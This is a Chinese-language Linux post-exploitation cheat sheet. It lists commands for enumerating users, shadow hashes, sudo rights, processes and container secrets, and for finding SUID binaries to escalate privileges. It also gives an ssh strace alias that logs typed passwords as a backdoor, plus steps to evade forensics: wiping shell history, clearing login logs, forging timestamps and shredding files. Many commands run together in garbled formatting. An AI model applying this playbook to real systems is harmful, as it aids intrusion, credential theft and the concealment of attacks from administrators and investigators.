# 信息收集
# 获取内核,操作系统和设备信息
-
版本信息
uname -a所有版本uname -r内核版本信息uname -n系统主机名字uname -mLinux 内核架构
-
内核信息
cat /proc/version -
CPU 信息
cat /proc/cpuinfo -
发布信息
cat /etc/*-releasecat /etc/issue
-
主机名
hostname -
文件系统
df -a -
内核日志
dmesg//var/log/dmesg
# 用户和组
-
列出系统所有用户
cat /etc/passwd -
列出系统所有组
cat /etc/group -
列出所有用户 hash(root)
cat /etc/shadow -
用户
- 查询用户的基本信息
finger - 当前登录的用户
userswho -a/var/log/utmp - 查询无密码用户
grep 'x:0:' /etc/passwd
- 查询用户的基本信息
-
目前登录的用户
w -
登入过的用户信息
last//var/log/wtmp -
显示系统中所有用户最近一次登录信息
lastlog//var/log/lastlog -
登录成功日志
/var/log/secure -
登录失败日志
/var/log/faillog -
查看特权用户
grep :0 /etc/passwd -
查看 passwd 最后修改时间
ls -l /etc/passwd -
查看是否存在空口令用户
awk -F: 'length($2)==0 {print $1}' /etc/shadow -
查看远程登录的账号
awk '/\$1|\$6/{print $1}' /etc/shadow -
查看具有 sudo 权限的用户
cat /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
# 用户和权限信息
- 当前用户
whoami - 当前用户信息
id - 可以使用 sudo 提升到 root 的用户(root)
cat /etc/sudoers - 列出目前用户可执行与无法执行的指令
sudo -l
# 环境信息
- 打印系统环境信息
env - 打印系统环境信息
set - 环境变量中的路径信息
echo $PATH - 打印历史命令
history/~/.bash_history - 显示当前路径
pwd - 显示默认系统遍历
cat /etc/profile - 显示可用的 shell
cat /etc/shells
# 进程信息
- 查看进程信息
ps aux - 资源占有情况
top -c - 查看进程关联文件
lsof -c $PID - 完整命令行信息
/proc/$PID/cmdline - 进程的命令名
/proc/$PID/comm - 进程当前工作目录的符号链接
/proc/$PID/cwd - 运行程序的符号链接
/proc/$PID/exe - 进程的环境变量
/proc/$PID/environ - 进程打开文件的情况
/proc/$PID/fd
# 服务信息
- 由 inetd 管理的服务列表
cat /etc/inetd.conf - 由 xinetd 管理的服务列表
cat /etc/xinetd.conf - nfs 服务器的配置
cat /etc/exports - 邮件信息
/var/log/mailog - ssh 配置
sshd_config
# 计划任务
- 显示指定用户的计划作业(root)
crontab -l -u %user% - 计划任务
/var/spool/cron/*/var/spool/anacron/*/etc/crontab/etc/anacrontab/etc/cron.*/etc/anacrontab
- 开机启动项
/etc/rc.d/init.d/
# 网络、路由和通信
- 列出网络接口信息
/sbin/ifconfig -a/ip addr show - 列出网络接口信息
cat /etc/network/interfaces - 查看系统 arp 表
arp -a - 打印路由信息
route/ip ro show - 查看 dns 配置信息
cat /etc/resolv.conf - 打印本地端口开放信息
netstat -an - 列出 iptable 的配置规则
iptables -L - 查看端口服务映射
cat /etc/services - Hostname
hostname -f - 查看进程端口情况
netstat -anltp | grep $PID
# 已安装程序
rpm -qa --lastRedhatyum list | grep installedCentOSls -l /etc/yum.repos.d/dpkg -lDebiancat /etc/apt/sources.listDebian APTpkg_infoxBSDpkginfoSolarispacman -QArch LinuxemergeGentoo
# 文件
- 最近五天的文件
find / -ctime +1 -ctime -5 - 文件系统细节
debugfs
# 公私钥信息
~/.ssh/etc/ssh
# 日志
/var/log/boot.log/var/log/cron/var/log/faillog/var/log/lastlog/var/log/messages/var/log/secure/var/log/syslog/var/log/syslog/var/log/wtmp/var/log/wtmp/var/run/utmp
# 虚拟环境检测
lsmod | grep -i "vboxsf\|vboxguest"lsmod | grep -i "vmw_baloon\|vmxnet"lsmod | grep -i "xen-vbd\|xen-vnif"lsmod | grep -i "virtio_pci\|virtio_net"lsmod | grep -i "hv_vmbus\|hv_blkvsc\|hv_netvsc\|hv_utils\|hv_storvsc"
# 容器内信息收集
capsh --printcat /proc/1/cgroupenv | grep KUBEls -l .dockerenvls -l /run/secrets/Kubernetes.io/mountps aux
# 持久化
# 权限提升
- 内核漏洞利用
- 攻击有 root 权限的服务
- 利用第三方服务提权
- 通过有 SUID 属性的可执行文件
- 查找可能提权的可执行文件
find / -perm +4000 -lsfind / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -print 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
- 利用可用的 root 权限
sudo -l
- 利用误配置的 crontab 任务
# 自启动
- /etc/init.d
- /etc/rc.d/rc.local
- ~/.bashrc
- ~/.zshrc
# 后门
- ssh 后门
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'- 后门账户
- 常见应用
- ICMP
- DNS
- icmp 后门
- 后门端口复用
.开头隐藏文件- rootkit
# 痕迹清理
# 历史命令
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null;kill -9 $$kill historyhistory -c- 在
HISTSIZE=0中设置HISTSIZE=0
# 清除 / 修改日志文件
/var/log/btmp/var/log/lastlog/var/log/wtmp/var/log/utmp/var/log/secure/var/log/message
# 登录痕迹
- 删除
~/.ssh/known_hosts中记录 - 修改文件时间戳
touch –r
- 删除 tmp 目录临时文件
# 操作痕迹
- vim 不记录历史命令
:set history=0 - ssh 登录痕迹
- 无痕登录
ssh -T user@host /bin/bash -i
- 无痕登录
# 覆写文件
- shred
- dd
- wipe
# 难点
- 攻击和入侵很难完全删除痕迹,没有日志记录也是一种特征
- 即使删除本地日志,在网络设备、安全设备、集中化日志系统中仍有记录
- 留存的后门包含攻击者的信息
- 使用的代理或跳板可能会被反向入侵
# 注意
- 在操作前检查是否有用户在线
- 删除文件使用磁盘覆写的功能删除
- 尽量和攻击前状态保持一致
# 参考链接
- Linux 入侵痕迹清理技巧